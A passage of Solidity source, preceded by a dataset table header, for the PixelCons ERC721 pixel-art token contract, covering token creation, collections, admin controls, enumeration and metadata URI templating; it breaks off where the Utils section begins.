file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
|---|---|---|---|
pragma solidity ^0.4.24;
/**
* @title ERC721 Non-Fungible Token Standard Basic Interface
* @dev Based on openzepplin open source ERC721 examples.
* See (https://github.com/OpenZeppelin/openzeppelin-solidity)
*/
contract ERC721 {
/**
* @dev 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* @dev 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
/**
* @dev 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* @dev 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/** @dev A mapping of interface id to whether or not it is supported */
mapping(bytes4 => bool) internal supportedInterfaces;
/** @dev Token events */
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/** @dev Registers ERC-165, ERC-721, ERC-721 Enumerable and ERC-721 Metadata as supported interfaces */
constructor() public
{
registerInterface(InterfaceId_ERC165);
registerInterface(InterfaceId_ERC721);
registerInterface(InterfaceId_ERC721Enumerable);
registerInterface(InterfaceId_ERC721Metadata);
}
/** @dev Internal function for registering an interface */
function registerInterface(bytes4 _interfaceId) internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
/** @dev ERC-165 interface implementation */
function supportsInterface(bytes4 _interfaceId) external view returns(bool)
{
return supportedInterfaces[_interfaceId];
}
/** @dev ERC-721 interface */
function balanceOf(address _owner) public view returns(uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns(address _owner);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns(address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns(bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public;
/** @dev ERC-721 Enumerable interface */
function totalSupply() public view returns(uint256 _total);
function tokenByIndex(uint256 _index) public view returns(uint256 _tokenId);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns(uint256 _tokenId);
/** @dev ERC-721 Metadata interface */
function name() public view returns(string _name);
function symbol() public view returns(string _symbol);
function tokenURI(uint256 _tokenId) public view returns(string);
}
/**
* @title PixelCons Core
* @notice The purpose of this contract is to provide a shared ecosystem of minimal pixel art tokens for everyone to use. All users are treated
* equally with the exception of an admin user who only controls the ERC721 metadata function which points to the app website. No fees are
* required to interact with this contract beyond base gas fees. Here are a few notes on the basic workings of the contract:
* PixelCons [The core ERC721 token of this contract]
* -Each PixelCon is unique with an ID that encodes all its pixel data
* -PixelCons can be identified by both TokenIDs and TokenIndexes (index requires fewer bits to store)
* -A PixelCon can never be destroyed
* -Total number of PixelCons is limited to 18,446,744,073,709,551,616 (2^64)
* -A single account can only hold 4,294,967,296 PixelCons (2^32)
* Collections [Grouping mechanism for associating PixelCons together]
* -Collections are identified by an index (zero is invalid)
* -Collections can only be created by a user who both created and currently owns all its PixelCons
* -Total number of collections is limited to 18,446,744,073,709,551,616 (2^64)
* For more information about PixelCons, please visit (https://pixelcons.io)
* @dev This contract follows the ERC721 token standard with additional functions for creating, grouping, etc.
* See (https://github.com/OpenZeppelin/openzeppelin-solidity)
* @author PixelCons
*/
contract PixelCons is ERC721 {
using AddressUtils for address;
/** @dev Equal to 'bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))' */
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////// Structs ///////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/** @dev The main PixelCon struct */
struct PixelCon {
uint256 tokenId;
//// ^256bits ////
address creator;
uint64 collectionIndex;
uint32 dateCreated;
}
/** @dev A struct linking a token owner with its token index */
struct TokenLookup {
address owner;
uint64 tokenIndex;
uint32 ownedIndex;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////// Storage ///////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/** @dev The address thats allowed to withdraw volunteered funds sent to this contract */
address internal admin;
/** @dev The URI template for retrieving token metadata */
string internal tokenURITemplate;
////////////////// PixelCon Tokens //////////////////
/** @dev Mapping from token ID to owner/index */
mapping(uint256 => TokenLookup) internal tokenLookup;
/** @dev Mapping from owner to token indexes */
mapping(address => uint64[]) internal ownedTokens;
/** @dev Mapping from creator to token indexes */
mapping(address => uint64[]) internal createdTokens;
/** @dev Mapping from token ID to approved address */
mapping(uint256 => address) internal tokenApprovals;
/** @dev Mapping from owner to operator approvals */
mapping(address => mapping(address => bool)) internal operatorApprovals;
/** @dev An array containing all PixelCons in existence */
PixelCon[] internal pixelcons;
/** @dev An array that mirrors 'pixelcons' in terms of indexing, but stores only name data */
bytes8[] internal pixelconNames;
////////////////// Collections //////////////////
/** @dev Mapping from collection index to token indexes */
mapping(uint64 => uint64[]) internal collectionTokens;
/** @dev An array that mirrors 'collectionTokens' in terms of indexing, but stores only name data */
bytes8[] internal collectionNames;
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////// Events ////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/** @dev PixelCon token events */
event Create(uint256 indexed _tokenId, address indexed _creator, uint64 _tokenIndex, address _to);
event Rename(uint256 indexed _tokenId, bytes8 _newName);
/** @dev PixelCon collection events */
event CreateCollection(address indexed _creator, uint64 indexed _collectionIndex);
event RenameCollection(uint64 indexed _collectionIndex, bytes8 _newName);
event ClearCollection(uint64 indexed _collectionIndex);
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////// Modifiers ///////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/** @dev Small validators for quick validation of function parameters */
modifier validIndex(uint64 _index) {
require(_index != uint64(0), "Invalid index");
_;
}
modifier validId(uint256 _id) {
require(_id != uint256(0), "Invalid ID");
_;
}
modifier validAddress(address _address) {
require(_address != address(0), "Invalid address");
_;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////// PixelCons Core ///////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @notice Contract constructor
*/
constructor() public
{
//admin defaults to the contract creator
admin = msg.sender;
//fill zero index pixelcon collection
collectionNames.length++;
}
/**
* @notice Get the current admin
* @return The current admin
*/
function getAdmin() public view returns(address)
{
return admin;
}
/**
* @notice Withdraw all volunteered funds to `(_to)`
* @param _to Address to withdraw the funds to
*/
function adminWithdraw(address _to) public
{
require(msg.sender == admin, "Only the admin can call this function");
_to.transfer(address(this).balance);
}
/**
* @notice Change the admin to `(_to)`
* @param _newAdmin New admin address
*/
function adminChange(address _newAdmin) public
{
require(msg.sender == admin, "Only the admin can call this function");
admin = _newAdmin;
}
/**
* @notice Change the token URI template
* @param _newTokenURITemplate New token URI template
*/
function adminSetTokenURITemplate(string _newTokenURITemplate) public
{
require(msg.sender == admin, "Only the admin can call this function");
tokenURITemplate = _newTokenURITemplate;
}
////////////////// PixelCon Tokens //////////////////
/**
* @notice Create PixelCon `(_tokenId)`
* @dev Throws if the token ID already exists
* @param _to Address that will own the PixelCon
* @param _tokenId ID of the PixelCon to be creates
* @param _name PixelCon name (not required)
* @return The index of the new PixelCon
*/
function create(address _to, uint256 _tokenId, bytes8 _name) public payable validAddress(_to) validId(_tokenId) returns(uint64)
{
TokenLookup storage lookupData = tokenLookup[_tokenId];
require(pixelcons.length < uint256(2 ** 64) - 1, "Max number of PixelCons has been reached");
require(lookupData.owner == address(0), "PixelCon already exists");
//get created timestamp (zero as date indicates null)
uint32 dateCreated = 0;
if (now < uint256(2 ** 32)) dateCreated = uint32(now);
//create PixelCon token and set owner
uint64 index = uint64(pixelcons.length);
lookupData.tokenIndex = index;
pixelcons.length++;
pixelconNames.length++;
PixelCon storage pixelcon = pixelcons[index];
pixelcon.tokenId = _tokenId;
pixelcon.creator = msg.sender;
pixelcon.dateCreated = dateCreated;
pixelconNames[index] = _name;
uint64[] storage createdList = createdTokens[msg.sender];
uint createdListIndex = createdList.length;
createdList.length++;
createdList[createdListIndex] = index;
addTokenTo(_to, _tokenId);
emit Create(_tokenId, msg.sender, index, _to);
emit Transfer(address(0), _to, _tokenId);
return index;
}
/**
* @notice Rename PixelCon `(_tokenId)`
* @dev Throws if the caller is not the owner and creator of the token
* @param _tokenId ID of the PixelCon to rename
* @param _name New name
* @return The index of the PixelCon
*/
function rename(uint256 _tokenId, bytes8 _name) public validId(_tokenId) returns(uint64)
{
require(isCreatorAndOwner(msg.sender, _tokenId), "Sender is not the creator and owner");
//update name
TokenLookup storage lookupData = tokenLookup[_tokenId];
pixelconNames[lookupData.tokenIndex] = _name;
emit Rename(_tokenId, _name);
return lookupData.tokenIndex;
}
/**
* @notice Check if PixelCon `(_tokenId)` exists
* @param _tokenId ID of the PixelCon to query the existence of
* @return True if the PixelCon exists
*/
function exists(uint256 _tokenId) public view validId(_tokenId) returns(bool)
{
address owner = tokenLookup[_tokenId].owner;
return owner != address(0);
}
/**
* @notice Get the creator of PixelCon `(_tokenId)`
* @dev Throws if PixelCon does not exist
* @param _tokenId ID of the PixelCon to query the creator of
* @return Creator address for PixelCon
*/
function creatorOf(uint256 _tokenId) public view validId(_tokenId) returns(address)
{
TokenLookup storage lookupData = tokenLookup[_tokenId];
require(lookupData.owner != address(0), "PixelCon does not exist");
return pixelcons[lookupData.tokenIndex].creator;
}
/**
* @notice Get the total number of PixelCons created by `(_creator)`
* @param _creator Address to query the total of
* @return Total number of PixelCons created by given address
*/
function creatorTotal(address _creator) public view validAddress(_creator) returns(uint256)
{
return createdTokens[_creator].length;
}
/**
* @notice Enumerate PixelCon created by `(_creator)`
* @dev Throws if index is out of bounds
* @param _creator Creator address
* @param _index Counter less than `creatorTotal(_creator)`
* @return PixelCon ID for the `(_index)`th PixelCon created by `(_creator)`
*/
function tokenOfCreatorByIndex(address _creator, uint256 _index) public view validAddress(_creator) returns(uint256)
{
require(_index < createdTokens[_creator].length, "Index is out of bounds");
PixelCon storage pixelcon = pixelcons[createdTokens[_creator][_index]];
return pixelcon.tokenId;
}
/**
* @notice Get all details of PixelCon `(_tokenId)`
* @dev Throws if PixelCon does not exist
* @param _tokenId ID of the PixelCon to get details for
* @return PixelCon details
*/
function getTokenData(uint256 _tokenId) public view validId(_tokenId)
returns(uint256 _tknId, uint64 _tknIdx, uint64 _collectionIdx, address _owner, address _creator, bytes8 _name, uint32 _dateCreated)
{
TokenLookup storage lookupData = tokenLookup[_tokenId];
require(lookupData.owner != address(0), "PixelCon does not exist");
PixelCon storage pixelcon = pixelcons[lookupData.tokenIndex];
return (pixelcon.tokenId, lookupData.tokenIndex, pixelcon.collectionIndex, lookupData.owner,
pixelcon.creator, pixelconNames[lookupData.tokenIndex], pixelcon.dateCreated);
}
/**
* @notice Get all details of PixelCon #`(_tokenIndex)`
* @dev Throws if PixelCon does not exist
* @param _tokenIndex Index of the PixelCon to get details for
* @return PixelCon details
*/
function getTokenDataByIndex(uint64 _tokenIndex) public view
returns(uint256 _tknId, uint64 _tknIdx, uint64 _collectionIdx, address _owner, address _creator, bytes8 _name, uint32 _dateCreated)
{
require(_tokenIndex < totalSupply(), "PixelCon index is out of bounds");
PixelCon storage pixelcon = pixelcons[_tokenIndex];
TokenLookup storage lookupData = tokenLookup[pixelcon.tokenId];
return (pixelcon.tokenId, lookupData.tokenIndex, pixelcon.collectionIndex, lookupData.owner,
pixelcon.creator, pixelconNames[lookupData.tokenIndex], pixelcon.dateCreated);
}
/**
* @notice Get the index of PixelCon `(_tokenId)`
* @dev Throws if PixelCon does not exist
* @param _tokenId ID of the PixelCon to query the index of
* @return Index of the given PixelCon ID
*/
function getTokenIndex(uint256 _tokenId) validId(_tokenId) public view returns(uint64)
{
TokenLookup storage lookupData = tokenLookup[_tokenId];
require(lookupData.owner != address(0), "PixelCon does not exist");
return lookupData.tokenIndex;
}
////////////////// Collections //////////////////
/**
* @notice Create PixelCon collection
* @dev Throws if the message sender is not the owner and creator of the given tokens
* @param _tokenIndexes Token indexes to group together into a collection
* @param _name Name of the collection
* @return Index of the new collection
*/
function createCollection(uint64[] _tokenIndexes, bytes8 _name) public returns(uint64)
{
require(collectionNames.length < uint256(2 ** 64) - 1, "Max number of collections has been reached");
require(_tokenIndexes.length > 1, "Collection must contain more than one PixelCon");
//loop through given indexes to add to collection and check additional requirements
uint64 collectionIndex = uint64(collectionNames.length);
uint64[] storage collection = collectionTokens[collectionIndex];
collection.length = _tokenIndexes.length;
for (uint i = 0; i < _tokenIndexes.length; i++) {
uint64 tokenIndex = _tokenIndexes[i];
require(tokenIndex < totalSupply(), "PixelCon index is out of bounds");
PixelCon storage pixelcon = pixelcons[tokenIndex];
require(isCreatorAndOwner(msg.sender, pixelcon.tokenId), "Sender is not the creator and owner of the PixelCons");
require(pixelcon.collectionIndex == uint64(0), "PixelCon is already in a collection");
pixelcon.collectionIndex = collectionIndex;
collection[i] = tokenIndex;
}
collectionNames.length++;
collectionNames[collectionIndex] = _name;
emit CreateCollection(msg.sender, collectionIndex);
return collectionIndex;
}
/**
* @notice Rename collection #`(_collectionIndex)`
* @dev Throws if the message sender is not the owner and creator of all collection tokens
* @param _collectionIndex Index of the collection to rename
* @param _name New name
* @return Index of the collection
*/
function renameCollection(uint64 _collectionIndex, bytes8 _name) validIndex(_collectionIndex) public returns(uint64)
{
require(_collectionIndex < totalCollections(), "Collection does not exist");
//loop through the collections token indexes and check additional requirements
uint64[] storage collection = collectionTokens[_collectionIndex];
require(collection.length > 0, "Collection has been cleared");
for (uint i = 0; i < collection.length; i++) {
PixelCon storage pixelcon = pixelcons[collection[i]];
require(isCreatorAndOwner(msg.sender, pixelcon.tokenId), "Sender is not the creator and owner of the PixelCons");
}
//update
collectionNames[_collectionIndex] = _name;
emit RenameCollection(_collectionIndex, _name);
return _collectionIndex;
}
/**
* @notice Clear collection #`(_collectionIndex)`
* @dev Throws if the message sender is not the owner and creator of all collection tokens
* @param _collectionIndex Index of the collection to clear out
* @return Index of the collection
*/
function clearCollection(uint64 _collectionIndex) validIndex(_collectionIndex) public returns(uint64)
{
require(_collectionIndex < totalCollections(), "Collection does not exist");
//loop through the collections token indexes and check additional requirements while clearing pixelcon collection index
uint64[] storage collection = collectionTokens[_collectionIndex];
require(collection.length > 0, "Collection is already cleared");
for (uint i = 0; i < collection.length; i++) {
PixelCon storage pixelcon = pixelcons[collection[i]];
require(isCreatorAndOwner(msg.sender, pixelcon.tokenId), "Sender is not the creator and owner of the PixelCons");
pixelcon.collectionIndex = 0;
}
//clear out collection data
delete collectionNames[_collectionIndex];
delete collectionTokens[_collectionIndex];
emit ClearCollection(_collectionIndex);
return _collectionIndex;
}
/**
* @notice Check if collection #`(_collectionIndex)` exists
* @param _collectionIndex Index of the collection to query the existence of
* @return True if collection exists
*/
function collectionExists(uint64 _collectionIndex) public view validIndex(_collectionIndex) returns(bool)
{
return _collectionIndex < totalCollections();
}
/**
* @notice Check if collection #`(_collectionIndex)` has been cleared
* @dev Throws if the collection index is out of bounds
* @param _collectionIndex Index of the collection to query the state of
* @return True if collection has been cleared
*/
function collectionCleared(uint64 _collectionIndex) public view validIndex(_collectionIndex) returns(bool)
{
require(_collectionIndex < totalCollections(), "Collection does not exist");
return collectionTokens[_collectionIndex].length == uint256(0);
}
/**
* @notice Get the total number of collections
* @return Total number of collections
*/
function totalCollections() public view returns(uint256)
{
return collectionNames.length;
}
/**
* @notice Get the collection index of PixelCon `(_tokenId)`
* @dev Throws if the PixelCon does not exist
* @param _tokenId ID of the PixelCon to query the collection of
* @return Collection index of given PixelCon
*/
function collectionOf(uint256 _tokenId) public view validId(_tokenId) returns(uint256)
{
TokenLookup storage lookupData = tokenLookup[_tokenId];
require(lookupData.owner != address(0), "PixelCon does not exist");
return pixelcons[tokenLookup[_tokenId].tokenIndex].collectionIndex;
}
/**
* @notice Get the total number of PixelCons in collection #`(_collectionIndex)`
* @dev Throws if the collection does not exist
* @param _collectionIndex Collection index to query the total of
* @return Total number of PixelCons in the collection
*/
function collectionTotal(uint64 _collectionIndex) public view validIndex(_collectionIndex) returns(uint256)
{
require(_collectionIndex < totalCollections(), "Collection does not exist");
return collectionTokens[_collectionIndex].length;
}
/**
* @notice Get the name of collection #`(_collectionIndex)`
* @dev Throws if the collection does not exist
* @param _collectionIndex Collection index to query the name of
* @return Collection name
*/
function getCollectionName(uint64 _collectionIndex) public view validIndex(_collectionIndex) returns(bytes8)
{
require(_collectionIndex < totalCollections(), "Collection does not exist");
return collectionNames[_collectionIndex];
}
/**
* @notice Enumerate PixelCon in collection #`(_collectionIndex)`
* @dev Throws if the collection does not exist or index is out of bounds
* @param _collectionIndex Collection index
* @param _index Counter less than `collectionTotal(_collection)`
* @return PixelCon ID for the `(_index)`th PixelCon in collection #`(_collectionIndex)`
*/
function tokenOfCollectionByIndex(uint64 _collectionIndex, uint256 _index) public view validIndex(_collectionIndex) returns(uint256)
{
require(_collectionIndex < totalCollections(), "Collection does not exist");
require(_index < collectionTokens[_collectionIndex].length, "Index is out of bounds");
PixelCon storage pixelcon = pixelcons[collectionTokens[_collectionIndex][_index]];
return pixelcon.tokenId;
}
////////////////// Web3 Only //////////////////
/**
* @notice Get the indexes of all PixelCons owned by `(_owner)`
* @dev This function is for web3 calls only, as it returns a dynamic array
* @param _owner Owner address
* @return PixelCon indexes
*/
function getForOwner(address _owner) public view validAddress(_owner) returns(uint64[])
{
return ownedTokens[_owner];
}
/**
* @notice Get the indexes of all PixelCons created by `(_creator)`
* @dev This function is for web3 calls only, as it returns a dynamic array
* @param _creator Creator address
* @return PixelCon indexes
*/
function getForCreator(address _creator) public view validAddress(_creator) returns(uint64[])
{
return createdTokens[_creator];
}
/**
* @notice Get the indexes of all PixelCons in collection #`(_collectionIndex)`
* @dev This function is for web3 calls only, as it returns a dynamic array
* @param _collectionIndex Collection index
* @return PixelCon indexes
*/
function getForCollection(uint64 _collectionIndex) public view validIndex(_collectionIndex) returns(uint64[])
{
return collectionTokens[_collectionIndex];
}
/**
* @notice Get the basic data for the given PixelCon indexes
* @dev This function is for web3 calls only, as it returns a dynamic array
* @param _tokenIndexes List of PixelCon indexes
* @return All PixelCon basic data
*/
function getBasicData(uint64[] _tokenIndexes) public view returns(uint256[], bytes8[], address[], uint64[])
{
uint256[] memory tokenIds = new uint256[](_tokenIndexes.length);
bytes8[] memory names = new bytes8[](_tokenIndexes.length);
address[] memory owners = new address[](_tokenIndexes.length);
uint64[] memory collectionIdxs = new uint64[](_tokenIndexes.length);
for (uint i = 0; i < _tokenIndexes.length; i++) {
uint64 tokenIndex = _tokenIndexes[i];
require(tokenIndex < totalSupply(), "PixelCon index is out of bounds");
tokenIds[i] = pixelcons[tokenIndex].tokenId;
names[i] = pixelconNames[tokenIndex];
owners[i] = tokenLookup[pixelcons[tokenIndex].tokenId].owner;
collectionIdxs[i] = pixelcons[tokenIndex].collectionIndex;
}
return (tokenIds, names, owners, collectionIdxs);
}
/**
* @notice Get the names of all PixelCons
* @dev This function is for web3 calls only, as it returns a dynamic array
* @return The names of all PixelCons in existence
*/
function getAllNames() public view returns(bytes8[])
{
return pixelconNames;
}
/**
* @notice Get the names of all PixelCons from index `(_startIndex)` to `(_endIndex)`
* @dev This function is for web3 calls only, as it returns a dynamic array
* @return The names of the PixelCons in the given range
*/
function getNamesInRange(uint64 _startIndex, uint64 _endIndex) public view returns(bytes8[])
{
require(_startIndex <= totalSupply(), "Start index is out of bounds");
require(_endIndex <= totalSupply(), "End index is out of bounds");
require(_startIndex <= _endIndex, "End index is less than the start index");
uint64 length = _endIndex - _startIndex;
bytes8[] memory names = new bytes8[](length);
for (uint i = 0; i < length; i++) {
names[i] = pixelconNames[_startIndex + i];
}
return names;
}
/**
* @notice Get details of collection #`(_collectionIndex)`
* @dev This function is for web3 calls only, as it returns a dynamic array
* @param _collectionIndex Index of the collection to get the data of
* @return Collection name and included PixelCon indexes
*/
function getCollectionData(uint64 _collectionIndex) public view validIndex(_collectionIndex) returns(bytes8, uint64[])
{
require(_collectionIndex < totalCollections(), "Collection does not exist");
return (collectionNames[_collectionIndex], collectionTokens[_collectionIndex]);
}
/**
* @notice Get the names of all collections
* @dev This function is for web3 calls only, as it returns a dynamic array
* @return The names of all PixelCon collections in existence
*/
function getAllCollectionNames() public view returns(bytes8[])
{
return collectionNames;
}
/**
* @notice Get the names of all collections from index `(_startIndex)` to `(_endIndex)`
* @dev This function is for web3 calls only, as it returns a dynamic array
* @return The names of the collections in the given range
*/
function getCollectionNamesInRange(uint64 _startIndex, uint64 _endIndex) public view returns(bytes8[])
{
require(_startIndex <= totalCollections(), "Start index is out of bounds");
require(_endIndex <= totalCollections(), "End index is out of bounds");
require(_startIndex <= _endIndex, "End index is less than the start index");
uint64 length = _endIndex - _startIndex;
bytes8[] memory names = new bytes8[](length);
for (uint i = 0; i < length; i++) {
names[i] = collectionNames[_startIndex + i];
}
return names;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////// ERC-721 Implementation ///////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @notice Get the balance of `(_owner)`
* @param _owner Owner address
* @return Owner balance
*/
function balanceOf(address _owner) public view validAddress(_owner) returns(uint256)
{
return ownedTokens[_owner].length;
}
/**
* @notice Get the owner of PixelCon `(_tokenId)`
* @dev Throws if PixelCon does not exist
* @param _tokenId ID of the token
* @return Owner of the given PixelCon
*/
function ownerOf(uint256 _tokenId) public view validId(_tokenId) returns(address)
{
address owner = tokenLookup[_tokenId].owner;
require(owner != address(0), "PixelCon does not exist");
return owner;
}
/**
* @notice Approve `(_to)` to transfer PixelCon `(_tokenId)` (zero indicates no approved address)
* @dev Throws if not called by the owner or an approved operator
* @param _to Address to be approved
* @param _tokenId ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public validId(_tokenId)
{
address owner = tokenLookup[_tokenId].owner;
require(_to != owner, "Cannot approve PixelCon owner");
require(msg.sender == owner || operatorApprovals[owner][msg.sender], "Sender does not have permission to approve address");
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @notice Get the approved address for PixelCon `(_tokenId)`
* @dev Throws if the PixelCon does not exist
* @param _tokenId ID of the token
* @return Address currently approved for the given PixelCon
*/
function getApproved(uint256 _tokenId) public view validId(_tokenId) returns(address)
{
address owner = tokenLookup[_tokenId].owner;
require(owner != address(0), "PixelCon does not exist");
return tokenApprovals[_tokenId];
}
/**
* @notice Set or unset the approval of operator `(_to)`
* @dev An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to Operator address to set the approval
* @param _approved Flag for setting approval
*/
function setApprovalForAll(address _to, bool _approved) public validAddress(_to)
{
require(_to != msg.sender, "Cannot approve self");
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @notice Get if `(_operator)` is an approved operator for owner `(_owner)`
* @param _owner Owner address
* @param _operator Operator address
* @return True if the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator) public view validAddress(_owner) validAddress(_operator) returns(bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @notice Transfer the ownership of PixelCon `(_tokenId)` to `(_to)` (try to use 'safeTransferFrom' instead)
* @dev Throws if the sender is not the owner, approved, or operator
* @param _from Current owner
* @param _to Address to receive the PixelCon
* @param _tokenId ID of the PixelCon to be transferred
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public validAddress(_from) validAddress(_to) validId(_tokenId)
{
require(isApprovedOrOwner(msg.sender, _tokenId), "Sender does not have permission to transfer PixelCon");
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @notice Safely transfer the ownership of PixelCon `(_tokenId)` to `(_to)`
* @dev Throws if receiver is a contract that does not respond or the sender is not the owner, approved, or operator
* @param _from Current owner
* @param _to Address to receive the PixelCon
* @param _tokenId ID of the PixelCon to be transferred
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public
{
//requirements are checked in 'transferFrom' function
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @notice Safely transfer the ownership of PixelCon `(_tokenId)` to `(_to)`
* @dev Throws if receiver is a contract that does not respond or the sender is not the owner, approved, or operator
* @param _from Current owner
* @param _to Address to receive the PixelCon
* @param _tokenId ID of the PixelCon to be transferred
* @param _data Data to send along with a safe transfer check
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public
{
//requirements are checked in 'transferFrom' function
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data), "Transfer was not safe");
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////// ERC-721 Enumeration Implementation /////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @notice Get the total number of PixelCons in existence
* @return Total number of PixelCons in existence
*/
function totalSupply() public view returns(uint256)
{
return pixelcons.length;
}
/**
* @notice Get the ID of PixelCon #`(_tokenIndex)`
* @dev Throws if index is out of bounds
* @param _tokenIndex Counter less than `totalSupply()`
* @return `_tokenIndex`th PixelCon ID
*/
function tokenByIndex(uint256 _tokenIndex) public view returns(uint256)
{
require(_tokenIndex < totalSupply(), "PixelCon index is out of bounds");
return pixelcons[_tokenIndex].tokenId;
}
/**
* @notice Enumerate PixelCon assigned to owner `(_owner)`
* @dev Throws if the index is out of bounds
* @param _owner Owner address
* @param _index Counter less than `balanceOf(_owner)`
* @return PixelCon ID for the `(_index)`th PixelCon in owned by `(_owner)`
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view validAddress(_owner) returns(uint256)
{
require(_index < ownedTokens[_owner].length, "Index is out of bounds");
PixelCon storage pixelcon = pixelcons[ownedTokens[_owner][_index]];
return pixelcon.tokenId;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////// ERC-721 Metadata Implementation //////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @notice Get the name of this contract token
* @return Contract token name
*/
function name() public view returns(string)
{
return "PixelCons";
}
/**
* @notice Get the symbol for this contract token
* @return Contract token symbol
*/
function symbol() public view returns(string)
{
return "PXCN";
}
/**
* @notice Get a distinct Uniform Resource Identifier (URI) for PixelCon `(_tokenId)`
* @dev Throws if the given PixelCon does not exist
* @return PixelCon URI
*/
function tokenURI(uint256 _tokenId) public view returns(string)
{
TokenLookup storage lookupData = tokenLookup[_tokenId];
require(lookupData.owner != address(0), "PixelCon does not exist");
PixelCon storage pixelcon = pixelcons[lookupData.tokenIndex];
bytes8 pixelconName = pixelconNames[lookupData.tokenIndex];
//Available values: <tokenId>, <tokenIndex>, <name>, <owner>, <creator>, <dateCreated>, <collectionIndex>
//start with the token URI template and replace in the appropriate values
string memory finalTokenURI = tokenURITemplate;
finalTokenURI = StringUtils.replace(finalTokenURI, "<tokenId>", StringUtils.toHexString(_tokenId, 32));
finalTokenURI = StringUtils.replace(finalTokenURI, "<tokenIndex>", StringUtils.toHexString(uint256(lookupData.tokenIndex), 8));
finalTokenURI = StringUtils.replace(finalTokenURI, "<name>", StringUtils.toHexString(uint256(pixelconName), 8));
finalTokenURI = StringUtils.replace(finalTokenURI, "<owner>", StringUtils.toHexString(uint256(lookupData.owner), 20));
finalTokenURI = StringUtils.replace(finalTokenURI, "<creator>", StringUtils.toHexString(uint256(pixelcon.creator), 20));
finalTokenURI = StringUtils.replace(finalTokenURI, "<dateCreated>", StringUtils.toHexString(uint256(pixelcon.dateCreated), 8));
finalTokenURI = StringUtils.replace(finalTokenURI, "<collectionIndex>", StringUtils.toHexString(uint256(pixelcon.collectionIndex), 8));
return finalTokenURI;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////// Utils ////////////////////////////////////////////////////////////////////////
